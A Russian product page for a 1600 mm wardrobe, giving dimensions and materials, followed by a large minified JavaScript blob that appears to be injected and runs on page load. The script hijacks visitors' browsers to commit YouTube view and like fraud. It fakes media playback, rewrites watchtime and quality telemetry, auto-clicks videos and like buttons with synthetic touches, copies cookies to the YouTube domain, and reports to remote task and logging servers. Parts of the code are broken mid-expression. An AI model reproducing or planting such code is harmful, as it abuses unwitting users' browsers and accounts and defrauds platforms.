Производитель : Модерн
Характеристики:
Ширина : 1600 мм
Глубина : 520 мм
Высота : 2100 мм
Материал корпуса/фасада:
ЛДСП 16 мм Анкор темный/Анкор светлый
ЛДСП 16 мм Шимо темный/Шимо светлый
ЛДСП 16 мм Венге/Дуб молочный
ЛДСП 16 мм Камень темный/Ирландский дуб(на выбор).
Материал задней стенки: Белый HDF 3 мм
Обработка зеркала: Фацет 10 мм
Кромочный материал: ПВХ 0.4 мм
Штанга: Металлическая
Ручки: ПВХ 160 мм.
Петли: Четырехшарнирные без доводчиков
Опоры: Регулируемые ПВХ.
Сборка в зеркальном исполнении: Невозможна.
// // {a.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:a,view:window,cancelable:!0,bubbles:!0}))},re=function(){return this.logData={fingerprint:"",type:"e36_"+m,stat:r,id:0,v:"",type_task:s},this.ReqLog=new te,this};re.prototype={add:function(e,t){this.logData[e]=t},push:function(e,t){this.logData[e].push(t)},send:function(e){var t;this.add("fingerprint",w);try{t=JSON.stringify(this.logData)}catch(e){t="{}"}var n={data:t,json:!0};e&&(n.success=e,n.error=e,e()),this.ReqLog.postSend("https://statlog"+l+"event?v="+Math.random(),n)}};var se=function(){return this.stopLog=!1,this.logData={udid:w,task_id:4,sid:o,generated:!1,event:"start_script",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:y},this.ReqLog=new te,this};se.prototype={send:function(e,t,n,a){var i=this;if(n?Ee():a&&setTimeout(a,100),!(v&&!t||this.stopLog)){var r=JSON.parse(JSON.stringify(this.logData));r.udid=w,r.sid=o,r.event=e,r.timer=L?parseInt(L.id):0;var s={json:!0,data:JSON.stringify(r)};setTimeout(function(){i.ReqLog.postSend(u,s)},0)}}};var oe=function(){A&&O&&j&&Y?E=!0:setTimeout(oe,200)},de={rti:0,rt:0,rtn:0,lact:0},le=function(e){var t,n=e.toLowerCase(),a=$?$.toLowerCase():"";return n.indexOf("/atr?")>-1&&(a&&n.indexOf(a)>-1?(A=!0,We.send("L_atr")):(V=!0,We.send("M_atr"))),n.indexOf("/playback?")>-1&&(a&&n.indexOf(a)>-1?(O=!0,We.send("L_play")):(q=!0,We.send("M_play"))),a&&-1===n.indexOf(a)&&n.indexOf("pbj=")>-1&&(e=e.replace(/([&?])v=[^&](&.*|)$/i,"$1v="+$+"$2")),a&&(t=n.match(/like\/((?:remove|dis|)like)/i))&&t&&(We.send("is_like_"+t[1]),K=!0),a&&-1!==n.indexOf(a)?(n.indexOf("stats/qoe")>-1&&(e=function(e){if(e.match(/vps=[^&]+:B(&.*|)$/i)&&e.match(/bh=[^&]+:0\.000(&.*|)$/i))return e;if(e.match(/vps=[^&]+:B(&.*|)$/i))return e.replace(/([&?])bh=([^&]+:)[0-9]+(\.[0-9]+)?(&.*|)$/i,"$1bh=$214400$3$4");if(e.match(/vps=[^&]+:PL(&.*|)$/i)){var t=e.match(/[&?]bat=([^&]+,)?([0-9]+)(\.[0-9]+)?:[0-9.]+:[0-9.]+(&.*|)$/);t&&parseInt(t[2])>=10&&(Y=!0);var n=e.match(/[&?]bh=([^&]+)(&.*|)$/);if(n){var a=n[1].split(","),i=n[1];1===a.length&&(a=n[1].split("%2C"));for(var r=0;r-1&&(e=e.replace(/([&?])len=[0-9]+(\.[0-9]+)?(&.*|)$/i,"$1len=14400$2$3")),n.indexOf("watchtime")>-1&&(e=function(e){var t=(e=e.replace(/([&?])len=[0-9]+(\.[0-9]+)?(&.*|)$/i,"$1len=14400$2$3")).match(/[&?]cmt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i);t&&parseInt(t[2])>=10&&(j=!0);if(e.indexOf("final=1")>-1){var n=(e=(e=(e=e.replace(/([&?])cmt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1cmt=$214400$4$5")).replace(/([&?])rt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1rt=$214400$4$5")).replace(/([&?])et=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1et=$214400$4$5")).match(/[&?]lact=([0-9]+)(&.*|)$/i);if(n){var a=parseInt(n[1]);e=e.replace(/([&?])lact=[0-9]+(&.*|)$/i,"$1lact="+(144e5+a)+"$2")}return We.send("final"),e}var i=e.match(/[&?]rt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i);if(i){var r=parseInt(i[2]);r>de.rt?de.rt=r:rde.rtn&&(de.rtn=o)}var d=e.match(/[&?]rti=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i);if(d){var l=parseInt(d[2]);l>de.rti?de.rti=l:l-1){var r=t.length>1e3;i&&a.indexOf(i)>-1?(P=r,We.send("LN_atr_"+(r?"1":"0"),!0)):(r,We.send("MN_atr_"+(r?"1":"0")))}return t},ce=function(e,t){return e=(e=e.replace("app=m&pbj=","pbj=")).replace("pbj=","app=m&pbj="),e=le(e)},pe=function(e,t,n){var a=e.match(t);return a&&(a=a.map(function(e){return e.replace(n,"$1")})).forEach(t=>{b&&b===t||L&&(e=e.replace(new RegExp(t,"gm"),L.item))}),e},he=function(){return{itag:18,url:"https://"+i+"/videoplayback?expire=1638830180",mimeType:'video/mp4; codecs="avc1.42001E, mp4a.40.2"',bitrate:647406,width:640,height:360,lastModified:"1638630751339073",contentLength:"83046037",quality:"medium",fps:25,qualityLabel:"360p",projectionType:"RECTANGULAR",averageBitrate:647358,audioQuality:"AUDIO_QUALITY_LOW",approxDurationMs:"1026275",audioSampleRate:"44100",audioChannels:2}},fe=["3","response","contents","singleColumnWatchNextResults","results","results","contents","1"],me=["buttons","0","slimMetadataToggleButtonRenderer","button","toggleButtonRenderer","isToggled"],ye=fe.concat(["itemSectionRenderer","contents","0","slimVideoMetadataRenderer"]).concat(me),ve=fe.concat(["slimVideoMetadataSectionRenderer","contents","1","slimVideoActionBarRenderer"]).concat(me),we=function(e,t,n){if("blob"!==e.responseType)return void(n&&n(t));var a="response"in e?e.response:e.responseText;const i=new FileReader;i.onload=(a=>{_e(e,t,n,a.target.result)}),i.readAsText(a)},ge=function(e,t,n){if("blob"!==e.responseType)return void(n&&n(t));var a="response"in e?e.response:e.responseText;const i=new FileReader;i.onload=(a=>{xe(e,t,n,a.target.result)}),i.readAsText(a)},_e=function(e,t,n,a){var r;try{r=JSON.parse(a)}catch(e){return void n(t)}if(r){try{if(r.adPlacements&&r.adPlacements.length>0&&(r.adPlacements=[]),!C&&r.playabilityStatus&&r.playabilityStatus.status&&"UNPLAYABLE"===r.playabilityStatus.status&&(C=!0,We.send("play_error",!0,!0)),r.streamingData){var s=r.streamingData;s.playerAds&&s.playerAds.length>0&&(r.streamingData.playerAds=[]),s.adaptiveFormats&&s.adaptiveFormats.length>0&&(r.streamingData.adaptiveFormats=[]),s.formats&&0!==s.formats.length||(r.streamingData.formats=[],r.streamingData.formats.push(he())),s.dashManifestUrl&&(r.streamingData.dashManifestUrl=""),s.hlsManifestUrl&&(r.streamingData.hlsManifestUrl="")}if(L&&r.playerResponse&&r.playerResponse.videoDetails&&L.item===r.playerResponse.videoDetails.videoId&&(r.videoDetails.isLive&&!0===r.videoDetails.isLive&&!0,r.videoDetails.lengthSeconds)){var o=r.videoDetails.lengthSeconds.replace(/^([0-9]+)\.[0-9]+$/,"$1").replace(/[^0-9]/,"");(o=o?parseInt(o):0)&&o>M&&(M=o)}a=(a=JSON.stringify(r)).replace(/https?:\/\/.*?\/videoplayback/gi,"https://"+i+"/videoplayback"),viewResult_parceSended||(viewResult_parceSended=!0,We.send("player_parse"));var d=new Blob([a],{type:"application/json"});e["response"in e?"response":"responseText"]=d}catch(e){}n(t)}else n(t)},xe=function(e,t,n,a){if("blob"===e.responseType){if(a){a=(a=a.replace(new RegExp('"videoId":"[^"]+"',"g"),'"videoId":"'+L.item+'"')).replace(new RegExp('"/watch?v=[^"]+"',"g"),'"/watch?v='+L.item+'"');var i=new Blob([a],{type:"application/json"});e["response"in e?"response":"responseText"]=i}n(t)}else n&&n(t)},Te=function(e){if(!e)return e;try{e=function(e){return e=(e=(e=e.replace(/\\\\u00/g,"ux00")).replace(/\\u0026/g,"um0026")).replace(/\\u003d/g,"um003d")}(e);var t=JSON.parse(e);if(!t)return e;if(t[2]&&t[2].playerResponse){var n=t[2].playerResponse;if(n.adPlacements&&n.adPlacements.length>0){var a=JSON.stringify(t[2].playerResponse.adPlacements);e=e.replace('"adPlacements":'+a,'"adPlacements":[]')}if(!C&&n.playabilityStatus&&n.playabilityStatus.status&&"UNPLAYABLE"===n.playabilityStatus.status&&(C=!0,We.send("play_error_p",!0,!0)),n.playerAds&&n.playerAds.length>0){var r=JSON.stringify(t[2].playerResponse.playerAds);e=e.replace('"playerAds":'+r,'"playerAds":[]')}if(n.streamingData){var s=n.streamingData;s.adaptiveFormats&&s.adaptiveFormats.length>0&&(e=e.replace(/"adaptiveFormats":\[[^\]]+]/,'"adaptiveFormats":[]')),s.playerAds&&s.playerAds.length>0&&(e=e.replace(/"playerAds":\[[^\]]+]/,'"playerAds":[]')),s.formats||(s.formats=[],s.formats.push(he()),e=(e=(e=e.replace(/,"formats":\[[^\]]+]/,"")).replace(/"formats":\[[^\]]+],/,"")).replace('"adaptiveFormats":','"formats":'+JSON.stringify(s.formats)+',"adaptiveFormats":')),s.dashManifestUrl&&(e=(e=e.replace(/,"dashManifestUrl":"[^"]+"/i,"")).replace(/"dashManifestUrl":"[^"]+",/i,"")),s.hlsManifestUrl&&(e=(e=e.replace(/,"hlsManifestUrl":"[^"]+"/i,"")).replace(/"hlsManifestUrl":"[^"]+",/i,""))}if(L&&n.videoDetails&&L.item===n.videoDetails.videoId&&(n.videoDetails.isLive&&!0===n.videoDetails.isLive&&!0,n.videoDetails.lengthSeconds)){var o=n.videoDetails.lengthSeconds.replace(/^([0-9]+)\.[0-9]+$/,"$1").replace(/[^0-9]/,"");(o=o?parseInt(o):0)&&o>M&&(M=o)}}return function(e){var t=e,n=null,a=function(e){if(t)for(var a in e){if("isToggled"===e[a]){n=t[e[a]]&&!0===t[e[a]];break}if(!t[e[a]])break;t=t[e[a]]}};a(ye),null===n&&(t=e,a(ve)),null!==n?(ee=n,n):We.send("like_toggle_error")}(t),e=e.replace(/https?:\/\/.*?\/videoplayback/gi,"https://"+i+"/videoplayback"),e=pe(e,new RegExp('"videoId":"[^"]+"',"gm"),new RegExp('"videoId":"([^"]+)"',"m")),e=function(e){return e=(e=(e=e.replace(/um003d/g,"\\u003d")).replace(/um0026/g,"\\u0026")).replace(/ux00/g,"\\\\u00")}(e=(e=(e=(e=(e=(e=(e=pe(e,new RegExp("\\\\u0022videoId\\\\u0022:\\\\u0022.{11}\\\\u0022","gm"),new RegExp("\\\\u0022videoId\\\\u0022:\\\\u0022(.{11})\\\\u0022","m"))).replace(/hq720[^.]*\.jpg[^"]+"/g,'default.jpg"')).replace(/hq720[^.]*\.webp[^"]+"/g,'default.webp"')).replace(/(mq|hq|sd)default[^.]*\.jpg"/g,'default.jpg"')).replace(/(mq|hq|sd)default[^.]*\.webp"/g,'default.webp"')).replace(/(mq|hq|sd)default[^.]*\.jpg\\u0022/g,"default.jpg\\u0022")).replace(/(mq|hq|sd)default[^.]*\.webp\\u0022/g,"default.webp\\u0022"))}catch(e){return""}},be={playDop:!1,playNow:!1,realPlay:!1,playerDataValues:{currentTime:0,duration:null,ended:!1,paused:!1,readyState:0,networkState:3,askBuffered:!1,askPlayed:!1,buffered:{length:0,start:0,end:0},played:{length:0,start:0,end:0}},resetPlayer:function(){be.playNow=!1,be.playerDataValues.currentTime=0,be.playerDataValues.duration=0,be.playerDataValues.ended=!1,be.playerDataValues.paused=!1,be.playerDataValues.readyState=0,be.playerDataValues.networkState=3,be.playerDataValues.buffered.length=0,be.playerDataValues.buffered.start=0,be.playerDataValues.buffered.end=0,be.playerDataValues.played.length=0,be.playerDataValues.played.start=0,be.playerDataValues.played.end=0,be.playerDataValues.askBuffered=!1,be.playerDataValues.askPlayed=!1},updatePlayer:function(){try{window.HTMLMediaElement.prototype.s_addEventListener=window.HTMLMediaElement.prototype.addEventListener,window.HTMLMediaElement.prototype.addEventListener=function(e,t,n){return this.s_addEventListener(e,function(t,n){"playing"!==e||!R||be.playNow||be.realPlay||(be.realPlay=!0,We.send("realPlay",!0))},n),this.s_addEventListener(e,t,n)},window.HTMLMediaElement.prototype.doplay=function(){if(be.playNow){var e=this;be.playerDataValues.currentTime+=1,be.playerDataValues.buffered.end=be.playerDataValues.currentTime,be.playerDataValues.played.end=be.playerDataValues.currentTime,this.dispatchEvent(new Event("timeupdate")),setTimeout(function(){e.doplay()},100)}else be.playDop=!1},delete window.HTMLMediaElement.prototype.error,window.HTMLMediaElement.prototype.s_defineGetter__("error",function(){return null}),delete window.HTMLMediaElement.prototype.paused,window.HTMLMediaElement.prototype.s_defineGetter__("paused",function(){return be.playerDataValues.paused}),delete window.HTMLMediaElement.prototype.ended,window.HTMLMediaElement.prototype.s_defineGetter__("ended",function(){return be.playerDataValues.ended}),delete window.HTMLMediaElement.prototype.muted,window.HTMLMediaElement.prototype.s_defineGetter__("muted",function(){return!1}),window.HTMLMediaElement.prototype._pause=window.HTMLMediaElement.prototype.pause,window.HTMLMediaElement.prototype.pause=function(){},window.HTMLMediaElement.prototype._play=window.HTMLMediaElement.prototype.play,window.HTMLMediaElement.prototype.play=function(){var e=this;return setTimeout(function(){R&&(be.realPlay||be.playNow||(be.playNow=!0,We.send((R?"LN_":"MN_")+"player"),e._updatedData||(e._updatedData=!0,e.s_buffered=e.buffered,e._buffered={length:1,start:function(){return 0},end:function(){return be.playerDataValues.buffered.end}},e.s_played=e.played,e._played={length:1,start:function(){return 0},end:function(){return be.playerDataValues.played.end}},e._currentTime=e.currentTime,e.s_defineGetter__("currentTime",function(){var t=Math.ceil(1e3*be.playerDataValues.currentTime)/1e3;return be.realPlay&&(t=e._currentTime),t}),e._duration=e.duration,e.s_defineGetter__("duration",function(){var t=be.playerDataValues.duration;return be.realPlay&&(t=e._duration),t}),e._readyState=e.readyState,e.s_defineGetter__("readyState",function(){var t=be.playerDataValues.readyState;return be.realPlay&&(t=e._readyState),t}),e._networkState=e.networkState,e.s_defineGetter__("networkState",function(){var t=be.playerDataValues.networkState;return be.realPlay&&(t=e._networkState),t}),e.s_defineGetter__("buffered",function(){var t=e._buffered;return be.realPlay&&(t=e.s_buffered),t}),e.s_defineGetter__("played",function(){var t=e._played;return be.realPlay&&(t=e.s_played),t})),be.playerDataValues.duration=M,be.playerDataValues.readyState=4,be.playerDataValues.networkState=1,be.playerDataValues.buffered.length=1,be.playerDataValues.buffered.end=M,be.playerDataValues.played.length=1,be.playerDataValues.played.end=0,be.playerDataValues.askBuffered=!1,be.playerDataValues.askPlayed=!1,e.dispatchEvent(new Event("progress")),e.dispatchEvent(new Event("suspend")),e.dispatchEvent(new Event("durationchange")),e.dispatchEvent(new Event("resize")),e.dispatchEvent(new Event("loadedmetadata")),e.dispatchEvent(new Event("loadeddata")),e.dispatchEvent(new Event("playing")),setTimeout(function(){be.playDop||(be.playDop=!0,e.doplay())},100)))},1e3),this._play().then(function(e){return e})}}catch(e){We.send("up_pl_err",!0)}}},Le=function(e,t,n){J=!1,z=!1,Z=0;var a=function(){if(!z){z=!0,We.send(e+"c",!0);try{J.removeEventListener("click",a)}catch(e){}t()}},i=function(){if(--Z>5)We.send(e+"nlt",!0,!0);else{var t=document.evaluate('//a[contains(@class,"media-item-thumbnail-container")]',document,null,XPathResult.ANY_TYPE,null);for((J=t.iterateNext())&&(J=t.iterateNext());J&&(!J.getAttribute("href")||J.getAttribute("href").indexOf("playlist")>-1||!J.innerHTML||J.innerHTML.indexOf("LIVE")>-1||-1===J.innerHTML.indexOf("1?Math.max(window.innerWidth,411):411)+"px",J.style.height=(window.innerHeight>1?Math.max(window.innerHeight,731):731)+"px",J.style.paddingTop=J.style.paddingLeft=J.style.marginTop=J.style.marginLeft="0";var o=document.evaluate("div/img",J,null,XPathResult.ANY_TYPE,null).iterateNext();o&&(o.getAttribute("src")||(o.src="https://i.ytimg.com/vi/"+($||b)+"/default.jpg",We.send(e+"img"))),setTimeout(function(){!function(e,t,n){z?"LN_"===n?!0:!0:(We.send(n+"ec",!0),ie(J,"touchstart",[{x:e,y:t,id:++Q}]),setTimeout(function(){ie(J,"touchend",[{x:e,y:t,id:++Q}]),J.click()},100),setTimeout(function(){z||We.send(n+"nc",!0,!0)},1e3))}(r,s,e)},500)}else We.send(e+"l",!0,!0)}else setTimeout(i,100)}};setTimeout(i,600)},$e=function(){setTimeout(function(){document.location.replace("https://"+i+"/yshow.html?id="+h+"&udid="+w+(t?"&isauth=1":""))},500)},Me=!1,Ee=function(){T?Me||(Me=!0,setTimeout(function(){Ye()},1e3)):$e()},Re=function(e){e?We.send("end_like",!0,!1,function(){var e;(e=new re).add("fingerprint",w),e.add("id",L?parseInt(L.id):1),e.add("v",L?L.item:"x"),e.add("type","e36_"+[m,y].join("_")),e.add("type_task",s),e.send(Ee)}):We.send("no_like",!0,!0)},De=function(){if(!D)if(--UH&&(H=t,We.send("W_p_"+H)),We.send("W_t_"+H),H&&!S&&(S=!0,We.send("W_time",!0));var n=0;if(H&&(n=2*Math.floor(H/2))&&n>I&&(I=n,U=10,We.send("W_"+n)),E||n>=g)return D=!0,We.send("like_show",!0),void function(){J=!1,z=!1,Z=0,ee&&We.send("is_liked");var e=10,t=function(){return--e5)We.send("LK_nlt",!0,!0);else{var e='//div[contains(@class,"slim-video-action-bar-actions")]/ytm-slim-metadata-toggle-button-renderer/',t='/c3-material-button/button[contains(@class,"c3-material-button-button")]',i=document.evaluate(e+"toggle-button-with-animated-icon"+t,document,null,XPathResult.ANY_TYPE,null);if((J=i.iterateNext())||(i=document.evaluate(e+t,document,null,XPathResult.ANY_TYPE,null),(J=i.iterateNext())||(i=document.evaluate('//div[contains(@class,"slim-video-action-bar-actions")]/ytm-segmented-like-dislike-button-renderer/div[contains(@class,"segmented-buttons")]/toggle-button-with-animated-icon/ytm-toggle-button-renderer[contains(@class,"-like-toggle-butto")]/button',document,null,XPathResult.ANY_TYPE,null),J=i.iterateNext()))){var r=J.getAttribute("aria-pressed");"true"===r&&We.send("btn_pressed"),"true"===r,J.addEventListener("click",n);var s=5+Math.ceil(10*Math.random()),o=5+Math.ceil(10*Math.random());We.send("LK_need_click"),ie(J,"touchstart",[{x:s,y:o,id:++Q}]),setTimeout(function(){ie(J,"touchend",[{x:s,y:o,id:++Q}]),J.click()},100),setTimeout(function(){z||We.send("LK_no_click",!1,!0)},600)}else setTimeout(a,100)}};a()}();setTimeout(De,500)}else We.send("LN_atr_error",!0,!0)},Ne=function(){if(--F-1?We.send("W_v"):O||We.send("W_ve",!0)},t=function(){R=!0,setTimeout(oe,1e3),setTimeout(e,3e3),setTimeout(Ne,2e3)};setTimeout(function(){Le("LN_",t,L.item)},300)},ke=function(){if(--W-1||q?setTimeout(Se,1e3):setTimeout(ke,500)},Ae=function(){setTimeout(Pe,3e4)},Pe=function(){We.send("SL_s"),ne.postSend("https://service"+l+"youlist.php?worker="+m+"&uid="+w+"&rand="+Math.random(),{data:"",success:function(e){var t;We.send("SL_i",!0);try{t=JSON.parse(e)}catch(e){return void We.send("Sl_json",!0,!1,Ae)}var n=null;if(t[52])if(n=Object.keys(t[52]).pop()){var a=t[52][n+""]+"";(L={id:n+"",item:a})?(We.send("SL_ii",!0),Le("MN_",ke)):We.send("SL_ei",!1,!0)}else We.send("empty_vids",!0,!1,Ae);else We.send("empty_type",!0,!1,Ae)},error:function(){We.send("empty_list",!0,!1,Ae)}})},Oe=function(){--X-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?(We.send("main_start",!0),setTimeout(function(){Pe()},300)):setTimeout(Oe,300)},He=function(e){--B-1&&(a&&i.indexOf(a)>-1?C=!0:z=!0),i.indexOf("/playback")>-1&&(a&&i.indexOf(a)>-1?U=!0:J=!0),a&&-1===i.indexOf(a)&&i.indexOf("pbj=")>-1&&(e=e.replace(/([&?])v=[^&](&.*|)$/i,"$1v="+ie+"$2")),a&&(t=i.match(/like\/((?:remove|dis|)like)/i))&&t&&(lt.send("is_like_"+t[1],!0),K&&(Xe=!0)),a&&-1!==i.indexOf(a)?(i.indexOf("stats/qoe")>-1&&(e=function(e){if(e.match(/vps=[^&]+:PL(&.*|)$/i)){var t=e.match(/[&?]bat=([^&]+,)?([0-9]+)(\.[0-9]+)?:[0-9.]+:[0-9.]+(&.*|)$/);if(t&&parseInt(t[2])>=10&&(X=!0),!V)return e;var n=e.match(/[&?]bh=([^&]+)(&.*|)$/);if(n){var i=n[1].split(","),a=n[1];1===i.length&&(i=n[1].split("%2C"));for(var r=0;r-1&&(n=e,e=V?n.replace(/([&?])len=[0-9]+(\.[0-9]+)?(&.*|)$/i,"$1len="+re+"$2$3"):n),i.indexOf("watchtime")>-1&&(e=function(e){var t=e.match(/[&?]cmt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i);t&&parseInt(t[2])>=10&&(H=!0);if(!V)return e;if((e=(e=(e=(e=(e=e.replace(/([&?])volume=([0-9.]+)(,|%2C)[^&]+(&.*|)$/i,"$1volume=$2$4")).replace(/([&?])muted=[^&]+(&.*|)$/i,"$1muted=0$2")).replace(/([&?])st=([0-9.]+)(,|%2C)[^&]+(&.*|)$/i,"$1st=$2$4")).replace(/([&?])et=[^&]+(,|%2C)([0-9.]+)(&.*|)$/i,"$1et=$3$4")).replace(/([&?])len=[0-9]+(\.[0-9]+)?(&.*|)$/i,"$1len="+re+"$2$3")).indexOf("final=1")>-1){var n=(e=(e=(e=(e=e.replace(/([&?])cmt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1cmt=$2"+re+"$4$5")).replace(/([&?])rt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1rt=$2"+re+"$4$5")).replace(/([&?])rti=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1rti=$2"+re+"$4$5")).replace(/([&?])et=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1et=$2"+re+"$4$5")).match(/[&?]lact=([0-9]+)(&.*|)$/i);if(n){var i=parseInt(n[1]);e=e.replace(/([&?])lact=[0-9]+(&.*|)$/i,"$1lact="+(1e3*re+i)+"$2")}return lt.send("final"),console.log("show_ok"),e}var a=e.match(/[&?]rt=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i);if(a){var r=parseInt(a[2]);r>at.rt?at.rt=r:rat.rtn&&(at.rtn=o)}var d=e.match(/[&?]rti=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i);if(d){var c=parseInt(d[2]);c>at.rti?at.rti=c:cG-20&&(at.rtn=re,at.rt=re,at.rti=re,e=e.replace(/([&?])rtn=([0-9.,]+,)?([0-9]+)(\.[0-9]+)?(&.*|)$/i,"$1rtn=$2"+at.rtn+"$4$5")),e}(e)),i.indexOf("/atr?")>-1&&(e=function(e){return V?e=e.replace(/([&?])len=[0-9]+(\.[0-9]+)?(&.*|)$/i,"$1len="+re+"$2$3"):e}(e)),e):e},st=function(e,t){if(!t)return t;if("string"!=typeof t)return t;var n=e.toLowerCase(),i=ie?ie.toLowerCase():"";if(n.indexOf("/atr?")>-1){var a=t.length>1e3;i&&n.indexOf(i)>-1?(W=a,lt.send("LN_atr_"+(a?"1":"0"),!0)):(a,lt.send("MN_atr_"+(a?"1":"0"),!0))}return V&&le&&i&&n.indexOf("v1/log_event")>-1&&(t=t.replace(/"playTimeSecs":[0-9]+(\.[0-9]+)?,/i,'"playTimeSecs":'+re+"$1,")),t},ot=function(e,t){return e=(e=e.replace("app=m&pbj=","pbj=")).replace("pbj=","app=m&pbj="),e=rt(e)};window.s_prepareReplaceUrl=function(e,t){return ot(e,t)},window.s_checkPostData=function(e,t){return st(e,t)};var dt=function(e){window.localStorage.setItem("yt-zdata__",Math.ceil(Date.now()/1e3).toString()),lt.send(M,!0,!1,function(){le=!0,e?e():setTimeout(function(){_e("https://"+L+"/yshow.html?id="+m+"&udid="+$+"&script=a003")},500)}),k&<.sendSpec("yend",k)},ct=function(){return this.stopLog=!1,this.logData={udid:$,task_id:y,sid:S,generated:!1,event:"",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:b,bundle:""},this.ReqLog=new ye,this};ct.prototype={getCopyData:function(){return JSON.parse(JSON.stringify(this.logData))},sendLog:function(e){var t=this;setTimeout(function(){t.ReqLog.send("POST",D,e)},0)},sendSpec:function(e,t){var n=this.getCopyData();n.sid=e,n.event=t;var i={json:!0,data:JSON.stringify(n)};this.sendLog(i)},send:function(e,t,n,i){var a=this;if(n?setTimeout(function(){a.stopLog=!0,Ze("close")},300):i&&setTimeout(i,100),t&&!this.stopLog){var r=this.getCopyData();r.event=e,r.timer=te?parseInt(te):0;var s={json:!0,data:JSON.stringify(r)};this.sendLog(s)}}};var lt=new ct,ut=function(){C&&U&&H&&X?se=!0:setTimeout(ut,100)},pt=[],ht=function(){var e=document.cookie.split("; "),t=e.length;if(t>0)for(var n=0;n-1){var i=e[n].split("="),a=i.shift(),r=i.join("=");pt[a]||(pt[a]=r,$e(a,r,{domain:".youtube.com",path:"/",expires:300,SameSite:"None",Secure:!0}))}setTimeout(ht,300)},ft=function(){i&&n?(lt.send("cfg",!0),window.addEventListener("message",Ge),je(),setTimeout(we,6e4)):setTimeout(function(){we(ft)},6e4)},mt=function(e){w=!0,lt.send("MNS_"+e,!0,!0)},vt=function(){setTimeout(function(){Oe("LN_",gt,ne)},300)},gt=function(){!0,setTimeout(ut,1e3),setTimeout(xt,3e3),setTimeout(yt,5e3)},wt=function(){if(!oe)if(--peF&&(F=t),F&&!ce&&(ce=!0,lt.send("W_time",!0));var n=0;if(F&&(n=2*Math.floor(F/2))&&n>B&&(B=n,pe=100),B>=G&&(!0,se))return oe=!0,void(K?ze():Ae(dt));setTimeout(wt,500)}else lt.send("LN_atr_error",!0,!0)},yt=function(){if(--fe-1?lt.send("W_v"):U||lt.send("W_ve",!0):lt.send("is_live",!0,!0)},bt=function(){--ue-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?setTimeout(function(){1===Q?Lt():2===Q&&vt()},300):setTimeout(bt,300)},$t=function(e){if(--me-1&&this.url.match(/itag=[0-9]+(&.*|)$/i)?this.responseURL=this.url:this.responseURL=this.xhr.responseURL,this.status=this.xhr.status,this.statusText=this.xhr.statusText,this.upload=this.xhr.upload}catch(e){}var e,t;this.url.indexOf("att/get")>-1?(e=Ve(this.xhr.response))&&(this.response=e):this.url.indexOf("pbj")>-1?(e=it(this.xhr.response))&&(this.response=e):this.response=this.xhr.response,this.responseType&&"text"!==this.responseType||!this.xhr.responseText||(this.url.indexOf("att/get")>-1?(t=Ve(this.xhr.responseText))&&(this.responseText=t):this.url.indexOf("pbj")>-1?(t=it(this.xhr.responseText))&&(this.responseText=t):this.responseText=this.xhr.responseText),this.responseType&&"document"!==this.responseType||!this.xhr.responseXML||!this.xhr.responseXML.length||(this.responseXML=this.xhr.responseXML)},handleEvent:function(e){var t=e.type.toLowerCase();if(this.updateInfo(),this.events[t]){if(this.url.indexOf("/player")>-1)return void Ke(this,e,this.events[t]);if(this.url.indexOf("/next")>-1)return void et(this,e,this.events[t]);this.events[t](e)}if(this["on"+t]){if(this.url.indexOf("/player")>-1)return void Ke(this,e,this["on"+t]);if(this.url.indexOf("/next")>-1)return void et(this,e,this["on"+t]);this["on"+t](e)}}},!Q){var t=Math.random();t>.5?Q=1:t>0&&(Q=2)}Le(Rt),lt.send("load_pol",!0),lt.sendSpec("ysrc",P)}else setTimeout(Et,300)},Nt=function(){document.body?window.top===window.self?(u=!0,lt.send("top_start",!0),we(ft)):function(){if(e||ve(v)){if(f.indexOf("scheduler")>-1){if("auth"===(g=h.has("subtype")?h.get("subtype"):""))return void Le(function(e){e,Ze((e?"":"no")+"auth")});"view"===g&&(lt.send("load_src",!0),setTimeout(ht,0),Et())}}else Ze("cfgerror")}():setTimeout(Nt,200)};Nt()}}();
// ]]>